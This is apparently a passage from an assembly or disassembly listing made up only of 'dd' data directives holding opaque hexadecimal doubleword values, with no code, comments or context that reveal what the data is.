		dd 0ED4C0B19h, 0CC4FAD76h, 0D532902Ah, 0D0D180B4h, 0FA57BE8Dh
		dd 0B2518B44h, 151E8DFAh, 0D66AB379h, 69290D53h, 695BE53Ch
		dd 349314A9h, 20BEA3CAh, 5ABC3BD0h, 18B715F0h, 0F9E76AFEh
		dd 0F2A5339Fh, 2394F017h, 0B94A54E6h, 866D4E34h, 0AD11290Eh
		dd 7D586C81h, 263CD51Eh, 0F08831F5h, 0F0E8C70Ah, 0A25CAB2h
		dd 0C227740Ah, 5B161483h, 0B7B73C9Ch, 9EDCEC5Ch, 5426EC33h
		dd 1D5D1DFDh, 6661461Fh, 717F74B9h, 5E9A558Dh, 0CC0E6132h
		dd 0B258C0CDh, 85DD478Eh, 4C66CEFEh, 19AEB671h,	78519785h
		dd 4626FF0Ah, 4A7F56E2h, 0C7F89E82h, 88AF4164h,	1CD4A5Dh
		dd 88957626h, 88180207h, 0E3940FDBh, 468D9A80h,	47F52E1Bh
		dd 1B2E9FBh, 78AFCFDh, 0B3F17BE2h, 0D5CE3509h, 0F10FA995h
		dd 0BF3B0EDFh, 0F3C68463h, 63A1F00Eh, 680926D6h, 0F3A76382h
		dd 5A8586ADh, 6541C2C3h, 9E4C2F61h, 0DA02EEBBh,	45E9E6B8h
		dd 0C8BDACh, 33D77C47h,	44722F4Fh, 0CF05ACE5h, 14BD89B4h
		dd 7832F49Fh, 2C9B40C0h, 0F40A190Ah, 0FD943C0Ch, 2BFF7FFEh
		dd 6265A890h, 0E720D4A2h, 0B58FE5EEh, 0D7B56E93h, 0E06ADD96h
		dd 0D8997ABEh, 6B50BC5Bh, 4CA58AC6h, 9E9CA7C4h,	0F20E178Bh
		dd 12BD20D7h, 8B382849h, 49EAD022h, 0AAD83F78h,	435DCB5Eh
		dd 0AA37ED5Fh, 0AFA1F019h, 96AF66DCh, 0E9B95872h, 0C06A3C75h
		dd 67066868h, 0D22F763Bh, 0C1FD2809h, 73282219h, 73283E97h
		dd 0B4A0F282h, 282201F4h, 0F4B83FF7h, 50461F6h,	62E3B746h
		dd 0C6F9DD57h, 0E2EEABA1h, 0A036CB09h, 748DA887h, 0FD803FBDh
		dd 7DBA37EDh, 3E98300Dh, 0AE5AEF5Ch, 0FD85BF41h, 0E3FABC80h
		dd 45D9BE28h, 5C5D4CA6h, 407A4150h, 0A4244340h,	5661F256h
		dd 9CA24A54h, 397C8B70h, 0E55EED8Ah, 0D0B6B999h, 23937B4Bh
		dd 0F7201179h, 29172071h, 71549DFEh, 8C5B93CCh,	0E3E799DEh
		dd 8D8B888Ch, 0BDB1B5A2h, 5BE5EF6Fh, 7A183081h,	0BB06A2EAh
		dd 24E6268Dh, 60C1B8EDh, 7AB74F46h, 0B2257BDCh,	5A31574Bh
		dd 0C1484EA0h, 0D17C678Bh, 550E82C4h, 0F25CB62Fh, 6D798487h
		dd 0A93B61E2h, 71761C58h, 4E31D4D9h, 0B284BEC3h, 0B91CB41Dh
		dd 0C174A7E6h, 0EEBF8F86h, 4FAAAFFCh, 0C2FAAC5Ch, 8A385A61h
		dd 1685C078h, 4ABA8A5h,	702C0EFFh, 0D12F7CB9h, 11C3D23Eh
		dd 0CE2B0999h, 63F21CF7h, 2B21B6E2h, 0AF86BF7Eh, 384FE36Ah
		dd 0E468F072h, 1FF4DDC8h, 0BBE96722h, 0CF77208h, 0B27C2523h
		dd 6A575F49h, 6746C1B6h, 0B7CEBDC2h, 0EB93686Bh, 0D0F6E451h
		dd 4786F020h, 6036D3C9h, 7569B81h, 0D032CCDFh, 21BEAFCDh
		dd 0FE29CBA0h, 4F6BBD49h, 85750FB2h, 0E1346EA9h, 2D9A86Ch
		dd 0F1AE4A74h, 1499996Dh, 8B622A37h, 8AFA55B3h,	94CCFD6Fh
		dd 0DC454363h, 91C54908h, 0A7A0E7AAh, 0AF7F825Eh, 0D57DE02Ch
		dd 0B1C15E81h, 97B2180Eh, 0EEDF6A5Ch, 0B8D938D4h, 58942D20h
		dd 8B7F0B85h, 8B66B8B1h, 9F111A54h, 0D854BD26h,	0BADFE0BEh
		dd 0EAF78764h, 0C8081E2Ah, 0FFEAE98Ah, 6AFFEEEh, 22EFAF3Ch
		dd 3E91380Bh, 66255742h, 505C815Eh, 0B638EC4Ch,	25693719h
		dd 0B626D9D0h, 26DA2EE0h, 9874B16Eh, 94123C0Ch,	3C397CD1h
		dd 3427FC61h, 8654DA7Dh, 36AEE539h, 5B8EDDB1h, 41423BB6h
		dd 0E56A5CA1h, 886F3A13h, 0ABB88AAFh, 1E0C19E1h, 1AE5BE45h
		dd 84CCAFD1h, 0AF0C7087h, 30F09E2Eh, 86708E12h,	80A12D19h
		dd 0A51257D2h, 14FC2857h, 9E570179h, 5518C1h, 5B825EF7h
		dd 1FF701BBh, 0A2105EF4h, 7C9A55E0h, 30FCCC59h,	90466E21h
		dd 0E8E37D46h, 389A88DEh, 27ED4D7Eh, 2A4E9087h,	1D53672Eh
		dd 3ABD1414h, 0D386E9DEh, 3DDD5794h, 0B3A35438h, 187F56CDh
		dd 0F84E341Dh, 89D5A11Eh, 0C19FD4Bh, 597FC58Fh,	0C8A453D1h
		dd 0C096CF81h, 56A06BCh, 0D13F2030h, 0D218412Bh, 608A1B5h
		dd 7C5D42D8h, 52E5B48Ah, 910D7E5Fh, 0B1A4F1D6h,	50C6EB6Ah
		dd 0B6A37EA3h, 5BE8A35Bh, 0F7FD17F1h, 2579BB69h, 5233F049h
		dd 0C1C31DE0h, 1645098Fh, 43E3C125h, 0C0C337FCh, 4D9362B4h
		dd 0F7CAD514h, 23E3CF19h, 8D786E14h, 0EF198E4Ch, 0A4837DD8h
		dd 461EFFECh, 6C4AA223h, 9B011AE1h, 47F8C9CDh, 186939E4h
		dd 99C3390Fh, 19405E5Ch, 5C580942h, 0F368C2Ah, 778F9600h
		dd 64DF162Bh, 5192A27h,	6E61B3Fh, 8063CAD3h, 8F1835A1h
		dd 151575F7h, 0A2CFAB5Ah, 82FE4508h, 0D87C93E5h, 0F89BCA6h
		dd 0C11E3C0Dh, 2C0D1833h, 73067E16h, 0C6BFC2C7h, 3CCF0D3Fh
		dd 437E5F4Bh, 1A309A5Fh, 5BFC2C5Ah, 46E5980Ch, 27D1E952h
		dd 0FAFF25Fh, 0AA102D67h, 88CF8AD4h, 23330851h,	4732D1A5h
		dd 0B99E1A8Ch, 0C3C63C93h, 2234058Eh, 929C39CFh, 0F24A201Ch
		dd 0AE9F3A23h, 74FB624Eh, 84D5DB12h, 6FD034Dh, 8E3AA709h
		dd 0B6380FEDh, 4425F4F5h, 0DB1CC25Fh, 0FAD852C7h, 6070C170h
		dd 75C5E02Eh, 0DBD7194h, 3A51A891h, 1CC071C2h, 0E4EA3491h
		dd 4C5EF529h, 0ABEADBB8h, 0AA8C4851h, 79F6D061h, 8B6CB55Ch
		dd 65FA9EAEh, 0EE2EA9Eh, 98FF446h, 0DB1A23FDh, 498FF5BBh
		dd 254AB1E5h, 20C0E5Ch,	0E25E07AAh, 61C4286Bh, 86EAEFA5h
		dd 42C6FCB5h, 86795507h, 0A24253E2h, 0CF834ACFh, 9027E13h
		dd 6266069Bh, 6739C11Ch, 2F4162D0h, 0F45AF0FDh,	0FA67A287h
		dd 38BA5ACEh, 69E3A385h, 303F62AEh, 206CF742h, 0B6645A41h
		dd 737FD47Ah, 0FB5232B1h, 4DCA93DDh, 93E58630h,	4F6D2ECCh
		dd 1EE6D17Ch, 6BABD5A8h, 494351C8h, 0BFCF43CDh,	0DE899D49h
		dd 0E0A0F527h, 62ED59F4h, 9744BC46h, 6C8EF52Fh,	97B6415h
		dd 919BC2E3h, 5327400Ch, 13073BE0h, 0EC5A85B7h,	0B681384Ah
		dd 569B39D6h, 0D432A1E3h, 371D0392h, 86F7CF87h,	9A404F09h
		dd 0D280884Eh, 45B885E0h, 5849E6FDh, 0F0F1F1BDh, 7EA88BC8h
		dd 0D42BA146h, 42491DC3h, 76715DDEh, 0F9DA1684h, 82C17CB4h
		dd 6E255950h, 4A791E08h, 0F29F199Bh, 4422FC8h, 55B808D5h
		dd 90D3861Ch, 0C1A1152Ch
		dd 0F1DDD5BCh, 3308A574h, 62CFE135h, 7B0239AEh,	0ED8BE4C1h
		dd 0C969F505h, 0F65820BDh, 0AA680DB3h, 16DBBC67h, 0C75714FEh
		dd 8F277C04h, 0AF837E39h, 0EAA58E13h, 0DB448D03h, 0FB0E6A1Bh
		dd 0B3C0C236h, 6C3475A2h, 0C97BE12Ch, 62805A49h, 7F2CF7D0h
		dd 0BE7990A2h, 722F8B5h, 0ED73F753h, 8AB7C500h,	36EBC227h
		dd 0EBE1F57Ch, 521D98ABh, 0D165303Ah, 982D94F0h, 0AFC9CF32h
		dd 4BE176F3h, 0F2FEB9h,	9D5BE9F2h, 4A9BA5A7h, 0D4D282AAh
		dd 90960892h, 0B1B24B0Ah, 24BF2916h, 394BC11Bh,	5408D925h
		dd 636496B2h, 8CE4C969h, 0D2E0A6CAh, 0E06086C3h, 0BF56C1B0h
		dd 31CCE693h, 8B698B5Ah, 1331F861h, 1643E8DDh, 24CC56C7h
		dd 0F02AEBE5h, 0E5EC8A11h, 0B6E5A05Ah, 28592653h, 352B0F10h
		dd 22C2FD1Bh, 0E9FC0F60h, 16C0944Bh, 915DA6A5h,	1D3529B7h
		dd 914BBC8Ah, 42BCE13Bh, 457A96A7h, 6B02506Ch, 14279A95h
		dd 0F3529D79h, 0AD3F2294h, 352ACFC8h, 178129CFh, 148B99FCh
		dd 0A9183A8Ah, 0B644A8DAh, 25798D10h, 0D914222h, 0E8B9C71Ch
		dd 33B891DEh, 2857AE52h, 17F2620Ch, 0D0D3FC53h,	0FDC88566h
		dd 102306D6h, 0E9B43F65h, 0BD7F7A59h, 28F6DC81h, 0E56922AFh
		dd 84FA1499h, 217AB796h, 287B172Dh, 5A403842h, 97B4F0C3h
		dd 0FC0BDA78h, 0E1F4C10Fh, 0B772D214h, 37E81F51h, 0FE12AF05h
		dd 0C2D840E7h, 9281E97Bh, 900F7137h, 255ECCFFh,	3EAFA4Ah
		dd 32BF7DB4h, 0EF3D0302h, 527DC30Fh, 0EDC287A3h, 0B40FA354h
		dd 0D3672047h, 12501B53h, 56B11E55h, 6F2C2CE1h,	67AF77C6h
		dd 0E3CEFA81h, 65431D34h, 5B679098h, 99AF1F3Bh,	1E38ECF1h
		dd 0D67BB286h, 984EFD48h, 3C4230D7h, 8CBE41AFh,	6C94684Fh
		dd 0A5914F20h, 2E3D3199h, 5A261640h, 27AB2DC3h,	7025293Ah
		dd 2A6237B9h, 0CC44988Fh, 0F2FB24Eh, 15B1B4AFh,	742FB12Fh
		dd 560FCC80h, 0A8416B75h, 19F55831h, 0C8D41BFCh, 8B7A7FCCh
		dd 0DC3C41B7h, 898B49E8h, 33C10A1Fh, 48F13105h,	34788363h
		dd 8342AA26h, 8C4C51F8h, 0B1E2639Bh, 8FC41BFBh,	0D627E263h
		dd 0DAFC7898h, 2627B106h, 0C4C5709Eh, 0F1069E93h, 85EC4C54h
		dd 364F4FC7h, 0B1317D88h, 13131DDFh, 3D3C4C62h,	819E2627h
		dd 0F2DD67BFh, 0C235C1A5h, 707B64D7h, 9C96698Dh, 76635C19h
		dd 0BC7E76A3h, 0E98AF1BAh, 2381235Bh, 0D6CAF733h, 99C6F9C6h
		dd 0D364D55Fh, 87D271CCh, 86355F8Dh, 69E084DAh,	0B8B0FE4Dh
		dd 0A1F39042h, 0D2F934D8h, 3CB30AE2h, 9FF1BD46h, 39F76DD0h
		dd 9FF75676h, 0D24C2508h, 0DF74FEEBh, 0EEBC44B3h, 0CE1A8C7Fh
		dd 0B186992Dh, 9F7DC599h, 2C1F7B7Fh, 0BCBA927Bh, 7DE5C462h
		dd 1A3C6818h, 81739F70h, 0D340DBEFh, 9F02E860h,	628B4827h
		dd 8C628466h, 5309B9Bh,	0AA914A8Fh, 0D5900B5Dh,	7DF98B96h
		dd 5EC2FC3Dh, 0FD530C83h, 0D5FE5DD0h, 0C74C74FEh, 4C267B81h
		dd 7CB743F8h, 124A45F8h, 38B6C80Bh, 9F3752E1h, 0D2D57021h
		dd 4AFE7425h, 4E1D3F8h,	0EF110EF6h, 0AB40ADADh,	79507D93h
		dd 1E283EB1h, 0D9A367C6h, 803B969Ah, 8D9A8727h,	30C3AAA1h
		dd 0AA95AB25h, 0D23BE72Eh, 9F6C4C15h, 0FEF58512h, 13BFB990h
		dd 0C3C538FEh, 0A015D22Bh, 771B552Dh, 21C38A1Ch, 0B36869FBh
		dd 3F33119Ch, 282FEFADh, 52E8D8D9h, 9B9B7E9Fh, 474B63C5h
		dd 0A089D17Fh, 602A18EEh, 0A19ECB04h, 0A11A58D1h, 163CCC28h
		dd 0E55D08F3h, 0CABA445h, 684B2195h, 387CE544h,	31809FC4h
		dd 9D09EAABh, 0E49CAE36h, 0B5F5DE37h, 175EF45h,	0CA4B7DE5h
		dd 263C2F0Bh, 0F8ED6719h, 0F721D9C0h, 0B62857E2h, 58E4F39Ch
		dd 6B6B718Dh, 0D5056CB0h, 0A237E597h, 0E429FCA1h, 0CDC59F67h
		dd 0B8D79C95h, 5509BE17h, 7BF63817h, 0B2F77FC2h, 0EC28D213h
		dd 0AD8E69B6h, 2F61BC71h, 0A53F5BC0h, 0D37D0722h, 5D8F15BBh
		dd 0F328B0A9h, 9362CAADh, 0BC8A8572h, 1E505F8Dh, 4517B143h
		dd 1E56AC03h, 0DABAC643h, 0A36FA9A1h, 8539922Fh, 85D5CE79h
		dd 3AC7AB79h, 0CFC2DACFh, 3DE6B5E2h, 0F0B67985h, 534450CFh
		dd 37212A81h, 4C404F16h, 305FCBA5h, 70AE34Ah, 0DB372EBDh
		dd 0BC013EAEh, 0E1AFD7B0h, 0D91F1863h, 0DDA56D76h, 0CF843EADh
		dd 8E641EBEh, 5B7CBE1h,	0FE139184h, 9C022CBBh, 99C3AE9h
		dd 0C23C6700h, 0CF211BF1h, 9E880E5Ch, 3948499Dh, 37AA37Eh
		dd 0D494FA81h, 95DBE092h, 0FBB73AF0h, 9BD5C86Bh, 0DCF22ADDh
		dd 0BA0884D5h, 21C3F4EDh, 7557896Fh, 3CC312A7h,	54CC8D31h
		dd 0B4F2D279h, 0FED92E24h, 7EA0BF6Ch, 0C7C4BE89h, 2ECDB4A0h
		dd 69C02065h, 0BF42E371h, 0E8170A86h, 15750E87h, 0CB7EEE6Ah
		dd 4D97206Eh, 6AD341A1h, 0DC5C6B54h, 0E2F755EAh, 0D5F4A409h
		dd 446BC879h, 14B95FF8h, 47534D46h, 0F59F231Fh,	0C6976FDBh
		dd 0DD652EDEh, 0CC0A5F2Eh, 948D71DFh, 0A869E28Dh, 0C7CEFE44h
		dd 739FF65Ch, 0AABA151Ch, 0A2E60165h, 9232C192h, 161CF8B2h
		dd 0EB44EC75h, 563C4572h, 0E35DE3F2h, 625D5D1h,	0D5B2625Fh
		dd 8A303279h, 4909DCBDh, 0B74623A1h, 6F5EAD97h,	28AD136Fh
		dd 919E7169h, 0FFB06C6Dh, 0E85AE5E0h, 0DAEB9A8h, 38595F7Bh
		dd 444C2CA0h, 1E35D17Eh, 5BD31E5h, 0B0193DA8h, 132D74Ah
		dd 9F804D6Fh, 0F99F51EAh, 0C44AD348h, 0C96AEA9Eh, 8CBC840Eh
		dd 51852834h, 7134262h,	4B1D8100h, 9356A1ADh, 0B72BD556h
		dd 0F0C785B1h, 0E76EE4F2h, 1E5B3F9Ch, 5BEE109Dh, 68343A3Dh
		dd 7B14747Ch, 8076E5E5h, 0F4734F1Eh, 6B14B7A9h,	5146239Ah
		dd 25414819h, 0EB0FE7A5h, 0FBB5CD0Bh, 33199A1Ch, 4509552Bh
		dd 7AAA55EEh, 1BAE8B60h, 42B6AA44h, 6B0FEC76h, 0D89977F2h
		dd 2C0BCCE3h, 0D0B6E802h, 99A3F960h, 40332350h,	0A14DC427h
		dd 0AC0CC7A5h, 8F46E12Ah, 0BFB84DE8h, 5688CF43h, 7F1D9849h
		dd 315B7207h, 46E50677h, 449BCE65h, 988DE42Bh, 0EB1B60AEh
		dd 0EB1060F2h, 0A3E9B9D0h, 7B135DB2h, 298F6243h, 42980E24h
		dd 0C878F2B1h, 0A5293FB1h, 5E4449AAh, 70842B45h, 14BA4060h
		dd 40D981B8h, 0DD500635h, 430DD022h, 4357A4A5h,	3B6B46ABh
		dd 46CC0E96h, 5B386B5h,	685377CBh, 81432B8Bh, 0E315B4DEh
		dd 0F4031DB9h, 6CFB8B97h, 9B58FF27h, 6256E66Fh,	0D01623BCh
		dd 0A565E6AEh, 2F4C472Fh, 0C0F2B487h, 6CC9A402h, 0ADAC35A1h
		dd 1FBD86B9h, 7225B7FDh, 5A1E564Fh, 97FFC0FCh, 6C6A9DD7h
		dd 0B9D4B239h, 0E3029A4Fh, 25205A80h, 1FD58181h, 0DD7B1AB2h
		dd 3D10FC49h, 2A0C2E92h, 6D8EBF4Fh, 78F0C563h, 1A79EBE7h
		dd 0ACB7AE11h, 606A1958h, 927B517Bh, 6FA8F69Dh,	0D8D934A8h
		dd 0F1D448BBh, 42C58DE2h, 5A5055Dh, 562CE5F2h, 2145D078h
		dd 3C3E7ECDh, 3005B20Fh, 685401E9h, 28C9A175h, 7975678Fh
		dd 8970ECB0h, 0BE564814h, 4BA8CC52h, 0A18D3D08h, 4A8B8CF4h
		dd 4796B780h, 0E5DD5F5h, 9E640AD9h, 8BC5EB4Ch, 3AE7EC08h
		dd 1DEA1964h, 0B8868D4Bh, 0A97911Dh, 6BCE6CEDh,	18D84579h
		dd 0C6E218D2h, 0E0AA6823h, 0BB82D8EBh, 0B580EA1Eh, 362F16FAh
		dd 8F8DD5DAh, 9E88F9A2h, 0AD4D3A8Eh, 0B74AA4DDh, 0EBC8C801h
		dd 0DD0D2128h, 37F809Bh, 0B459086h, 976F58B5h, 1219EB8Fh
		dd 986FE250h, 0A1B5B1C1h, 9A54A132h, 39528B14h,	3B932700h
		dd 0DE534B20h, 897B053Fh, 0E57E0739h, 0CA2B0F2Ah, 0A4ED27FFh
		dd 1A1DBF66h, 0E334B426h, 0FACAD267h, 0A1A31AD5h, 5A3ABF19h
		dd 95EAF678h, 13172CB9h
		dd 0C531F598h, 277283FAh, 7B8F2EA5h, 6B20FBD4h,	4D9662F5h
		dd 1531731Fh, 0D3151995h, 0A2CA358Fh, 2E8B7E6Fh, 1D28B676h
		dd 2C045B3Ah, 4C6FE4B0h, 8E26B743h, 59D41BADh, 0FE196A80h
		dd 0D059964Ah, 396292C4h, 8F444EC1h, 0CFD479A4h, 0E99D8002h
		dd 9C70C89Fh, 5D81C7C4h, 403478F8h, 0E1B3777Bh,	0B682C99Fh
		dd 0B4209FFAh, 0CD8E37BEh, 0AFC330C2h, 92A61524h, 62B8E96h
		dd 0A179ABD4h, 0A326D9BEh, 78AB9634h, 0F920F27Eh, 61B30EE4h
		dd 97534939h, 8A9D6365h, 0FE137469h, 974D292Dh,	6972806Fh
		dd 78DB72C9h, 0F0F77AB9h, 542EEB72h, 3495A0Eh, 629284C4h
		dd 171B1D29h, 0A3A763EFh, 84BCD347h, 6C6CB0Fh, 7AAF7E41h
		dd 100C8049h, 1C0DB2h, 50A1413h, 54C80CCDh, 300F22EFh
		dd 0B41145BCh, 52E05D9Bh, 975AB6BFh, 8BBBE1ACh,	0A466D42Ah
		dd 0EB245973h, 313E88E4h, 3675CA0Dh, 94CC2561h,	0A317E4AEh
		dd 7E446820h, 132666D5h, 0B3315E65h, 254C568Eh,	4A68F44Dh
		dd 1B16950Fh, 787849E4h, 80E45918h, 2245A2E9h, 0E6BCC5F9h
		dd 9BE6A14Bh, 0C1B51084h, 0B1336A1Ah, 3184D6A1h, 31A33408h
		dd 0D2919022h, 6F5BBD74h, 0E193284h, 0E56AD42Dh, 0A8C40843h
		dd 5B0191E4h, 0DA2826F8h, 2BB132FDh, 8314D0BDh,	0A46A8C2Dh
		dd 91B7E7A1h, 610501FAh, 2D9A77h, 48CDC56Ah, 2686FC76h
		dd 0C113A23Bh, 68CDA0Fh, 0F9065375h, 0C36A4BDEh, 3902546Ah
		dd 0DF14FE23h, 0A5849A18h, 439885CFh, 0DA1A7510h, 241C3F94h
		dd 0B9FB2A0Fh, 0E1B4B110h, 458BBE1Ch, 0DEE7F0C9h, 0EDA0B051h
		dd 80CD0506h, 1A9ACD60h, 1B5A15E7h, 0BB2C2D2Ah,	0D2BF0700h
		dd 5BC21FCAh, 65994125h, 9667C66Fh, 0B3BF085Dh,	0A403FA14h
		dd 3642CD8Bh, 0B02D9D38h, 9B2B2E2Ah, 762FE565h,	0A12F65C5h
		dd 1205B2B2h, 961364A9h, 0DFC66CA8h, 0CA343E0h,	89BB4592h
		dd 0B5888ECBh, 2F4F90F5h, 0F5F54456h, 79D24E49h, 0A8D9A747h
		dd 360269C1h, 80302EAFh, 78D2B717h, 190AC6B6h, 10DF0346h
		dd 8BF1D0D4h, 0B5461F7h, 6C0B8FE8h, 0DB907C25h,	0AC22B096h
		dd 0A0629D43h, 0EAC8A420h, 0E03D8B5Dh, 0E81EB4D9h, 0C3DA3C94h
		dd 8CCC5E89h, 0ABF28A9h, 6FA6FA92h, 0D5BDD13Dh,	50288449h
		dd 43B22B30h, 94B4FED5h, 546EDF1Ah, 71813F60h, 72C9F016h
		dd 8B568502h, 0AC541CA5h, 931270DFh, 0B12201E5h, 0C9F388C4h
		dd 64DBF634h, 8AAD780Eh, 1CFE75A6h, 710F2FF5h, 9097C27Fh
		dd 94F6A667h, 71FBF613h, 3C84AD6Eh, 492F1EADh, 2523379Dh
		dd 2676EA4Eh, 705C663Bh, 5920C58Dh, 0A07257B1h,	0C5AD60F6h
		dd 7F8EED00h, 0C64F3318h, 0A21AE8E6h, 525A0DEAh, 98EEA0E3h
		dd 1B421009h, 0C1A481F4h, 4B6C83BEh, 0B866EBD7h, 22F55B28h
		dd 6DD16643h, 6C8607C5h, 23B175C5h, 0BBD11CC9h,	0B9766C18h
		dd 0A7AD5079h, 14D825F9h, 80D85F9Ah, 916FC65Dh,	2936CEADh
		dd 2CE19283h, 0CC4A7F84h, 99A579F8h, 0CC9EC172h, 0AB91C3D0h
		dd 0A9468559h, 34655A7Fh, 9BAADB38h, 0A488B013h, 0CD309A07h
		dd 7A9E23CBh, 0D11AEA31h, 0CF3826D6h, 8E4F29A0h, 0BDBA5FB3h
		dd 3B956024h, 8ED0875h,	843A3BE1h, 5D70841Eh, 848FB53h
		dd 0C961043Dh, 190830h,	0DF151A41h, 70A168EDh, 9865259Ah
		dd 3D23CDC5h, 0DE47F639h, 9513801Ch, 8F56E2DFh,	0CC5E4F3Fh
		dd 0BCAED12Dh, 32E76E6Ah, 7A29684Ah, 14D4426Dh,	75D1DB4Fh
		dd 0E7471CBBh, 26436F6Dh, 35766325h, 0B3BA9390h, 97AB0B48h
		dd 402136B7h, 44888D96h, 0B6CE8D4Ah, 56C8D315h,	26CED1B2h
		dd 0D827DB2Ch, 0B898EE27h, 7F1EF1D7h, 6C2DC68Eh, 0A35893DDh
		dd 6772BDE3h, 898B929Bh, 62C9FFCBh, 0BFD37CE4h,	3FCDCB4Ah
		dd 0F4206181h, 0C5D96C7Dh, 0F833710Eh, 4C9C0626h, 9A4DAB5Fh
		dd 9F337E2h, 0FCCC0B77h, 0C49E07A6h, 23F8166Dh,	75A194B7h
		dd 0B991F774h, 0EEE45223h, 0DF4E3C38h, 0FB6AD0E9h, 269AD1C5h
		dd 62DF079Bh, 2A67B201h, 1B785099h, 8532E674h, 2A132AFEh
		dd 0B341A13Bh, 0E6D6854Bh, 6914F079h, 254F1540h, 95A985DBh
		dd 62EC94ABh, 2D5F287Ch, 3B4B9B44h, 0EAD84691h,	0B672F771h
		dd 0B843EADBh, 37C6983Bh, 0B5949DFh, 0EC947784h, 0C42C7A72h
		dd 98F445C7h, 0E0738F8Fh, 84D85E31h, 96267090h,	42337962h
		dd 834FD5B3h, 400226E7h, 0DAA0F0B9h, 2A53BF59h,	0B6ECCB67h
		dd 0F2B0F6D7h, 0ECE6211Ch, 0B2996158h, 18FFE59Bh, 404C953Eh
		dd 0F1C7B620h, 264AD8Ah, 3F6C7881h, 23220AB7h, 0FBF96A0Bh
		dd 3765DFA4h, 9A1D2B48h, 0CAC5D812h, 0CE78E0F3h, 22670EC4h
		dd 0DA53C50h, 0ECF57DBDh, 15FA1418h, 0E1135B79h, 982F5A6Bh
		dd 37482BB1h, 0DC4AFD70h, 6B2DC316h, 4635912Ch,	298F1D28h
		dd 0AA3C4772h, 2C30DCE7h, 4E7A63E7h, 0A516B85Bh, 0DB5ED844h
		dd 0F155A66Bh, 229F4722h, 0E5973BB7h, 0DC5522D9h, 0D5B9FAFBh
		dd 8F1D590Ch, 0C65B164Bh, 0EBF2CFDBh, 4CA173BAh, 6EA04005h
		dd 5AC6BF89h, 31431681h, 0C38A1DE1h, 0F1364514h, 0C70B5B3Ch
		dd 0BF0462B9h, 7E704531h, 0A271DDCDh, 4A95C358h, 4EA27854h
		dd 0C514C839h, 7EA02E4Ah, 4A879A8Fh, 6B464060h,	0B4A7275h
		dd 5DB3B87Ch, 0EFB338F2h, 0CD26B984h, 26CFFCE7h, 79E104CEh
		dd 8D9C0DF6h, 0A316157Dh, 51DEC594h, 0C896AB3h,	77E3C2E6h
		dd 62614326h, 5B261C50h, 0B2916889h, 9ADC3143h,	0C8365F43h
		dd 0B317C6EFh, 79B8A695h, 0E893BB53h, 0F4842B9Dh, 18160EEEh
		dd 526B0DA8h, 8D73AD7Ah, 49393E29h, 0C8F9C8A3h,	158EEACDh
		dd 0E461C8C9h, 917A85E9h, 42CA4B7Bh, 7E4000C0h,	2AC19E2Bh
		dd 5B26A6D0h, 0A522A237h, 0DCFD6AF3h, 0A884D9E0h, 0BB528EC2h
		dd 4BE85894h, 0FC7BF1E0h, 0AD84D2D1h, 0CADE5C5Bh, 0F87AB6FFh
		dd 0EED1294Dh, 2CB1EA1Eh, 0E1E10EF2h, 5BBB968Bh, 0A70B1F6Fh
		dd 2B010FFFh, 8F4DAC37h, 7F0B7517h, 0BABB2C00h,	742CDD0Eh
		dd 7865EADAh, 0DA356BE9h, 43C00FC2h, 6085136Dh,	0C255AF2Dh
		dd 0F84D49C5h, 7C26BA99h, 97B89284h, 45FDD15h, 8AF94A4Fh
		dd 979E3D0h, 91E9E373h,	884BF137h, 1520C186h, 98B048D3h
		dd 2C3BCD36h, 8D1E7930h, 0AE3DCE87h, 9D738FBAh,	0C1D0D247h
		dd 2BCE15B1h, 0FE6E0038h, 9C1BEB31h, 974ADCB5h,	9324A542h
		dd 26573D29h, 32650F33h, 20881592h, 0E85B2CACh,	40AE3499h
		dd 0D5B86529h, 105E919Fh, 2AD08F92h, 0AC7B68C9h, 4150CF0Eh
		dd 52E2843Ch, 426F015Fh, 0AEE22ABh, 0CB7D42ADh,	57B8D2FBh
		dd 8E2B0B57h, 0D4E18A44h, 8B659C2Eh, 258D42ECh,	8E97B4B4h
		dd 0A54E81B1h, 606587A6h, 9A46CDD1h, 1430687Ah,	0E01AAA5Ah
		dd 91199864h, 1AB0692Ch, 366A3F6Dh, 5053F3F2h, 415324CAh
		dd 57E35445h, 0F1813CD2h, 0BC37C559h, 159AEA30h, 0B18C4303h
		dd 9382AEB6h, 0EA30EF2Ah, 0B2EE452Eh, 0C3853D5h, 3070638h
		dd 2878301Ah, 69DE1D8Ah, 3BC9BFB3h, 30FDCF0Dh, 0F4B4353h
		dd 0C520D01Bh, 69107F56h, 48354072h, 2AD7B6D9h,	6AA2254Ch
		dd 0F16A275Bh, 0C93DA1EBh, 0CAF00033h, 4E1EFA5Fh, 531E62D5h
		dd 7BBD43AFh, 722A5939h, 0A88365D9h, 3E529561h,	0A4132176h
		dd 0C585672Ch, 8510C616h, 4A3C3371h, 59936097h,	4A861585h
		dd 5CC30F13h, 7DC71FEh,	3AD66FC7h, 8909EC45h, 91345309h
		dd 789918A6h, 53082598h, 0F1D5EDE0h, 8EAFB093h,	0F39D1EB1h
		dd 14663A36h, 264C4F43h, 8CBA45BEh, 30B7A8B7h, 0CEF38999h
		dd 9898998h, 9D02C904h
		dd 4CA429A8h, 0E9E4C443h, 890AEE4Ch, 6F4CE0C7h,	0C9828E85h
		dd 0EF741522h, 99A2F21h, 0AA94CEF6h, 34E9E89Eh,	93E724E0h
		dd 0FD3431h, 2C135690h,	0EEBE186Ch, 453D515Bh, 5BEEDECh
		dd 0E9A94EFEh, 61804E81h, 2B4D9E8Eh, 42D21311h,	284D8A76h
		dd 8176813Ch, 0E5B4E007h, 183C5BF2h, 163DE6C7h,	7840C1E8h
		dd 5CAE8405h, 2F06A7C8h, 0AC4AACE9h, 985984B8h,	90EA84CBh
		dd 8FCE5750h, 0F962629Ch, 941724C7h, 0F7B1400Fh, 96AECC18h
		dd 0A31CE49Ch, 26DD5B0Bh, 0E458F882h, 9D8E3DCCh, 6E1DFC64h
		dd 9D9A3959h, 7A597E70h, 316036F0h, 7BCB1D9Ch, 0BE15AE59h
		dd 0DD92DF3Bh, 4EC9DE1h, 110AAE3Fh, 6B66D8D3h, 0FF1ABCF2h
		dd 0ED031C2Eh, 92D579FAh, 87DAAF3Ch, 0FA2D579Fh, 0C815F579h
		dd 0F356B54Ah, 3AD2956Ah, 16723E8Dh, 5CD13D0Dh,	9E5AACECh
		dd 0C4C6AB3Ah, 0A36046C3h, 34BAEA3Ch, 0AC95B432h, 0C7C1551Eh
		dd 713C02EEh, 775724A2h, 85DE41D4h, 0FC9089CAh,	0E352692Bh
		dd 9C49E7E1h, 25227FFFh, 61053C06h, 537BF69Ch, 0EA5C902Eh
		dd 0FFA78083h, 0D38DFD1Eh, 25F5D417h, 56CE2BC7h, 3F9CA8A9h
